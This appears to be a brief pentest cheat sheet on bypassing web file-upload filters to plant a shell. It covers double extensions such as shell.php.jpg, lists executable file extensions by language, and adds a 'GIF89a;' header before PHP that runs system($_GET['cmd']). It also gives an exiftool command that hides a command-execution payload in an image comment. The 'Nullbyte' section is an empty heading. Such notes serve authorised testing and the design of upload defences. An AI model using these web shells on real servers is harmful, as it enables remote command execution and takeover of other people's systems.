# File Upload bypass

One common way to gain a shell is actually not really a vulnerability, but a feature! Often times it is possible to upload files to the webserver. This can be abused byt just uploading a reverse shell. The ability to upload shells are often hindered by filters that try to filter out files that could potentially be malicious. So that is what we have to bypass.

### Rename it <a href="#rename-it" id="rename-it"></a>

We can rename our shell and upload it as shell.php.jpg. It passed the filter and the file is executed as php.

**php** phtml, .php, .php3, .php4, .php5, and .inc

**asp** asp, .aspx

**perl** .pl, .pm, .cgi, .lib

**jsp** .jsp, .jspx, .jsw, .jsv, and .jspf

**Coldfusion** .cfm, .cfml, .cfc, .dbm

### GIF89a; <a href="#gif89a" id="gif89a"></a>

If they check the content. Basically you just add the text "GIF89a;" before you shell-code. So it would look something like this:

```
GIF89a;
<?
system($_GET['cmd']);//or you can insert your complete shell code
?>
```

### In image <a href="#in-image" id="in-image"></a>

```
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' lo.jpg
```

Exiftool is a great tool to view and manipulate exif-data. Then I had to rename the file

mv lo.jpg lo.php.jpg

### Nullbyte <a href="#nullbyte" id="nullbyte"></a>

### References <a href="#references" id="references"></a>

[http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html](http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html)
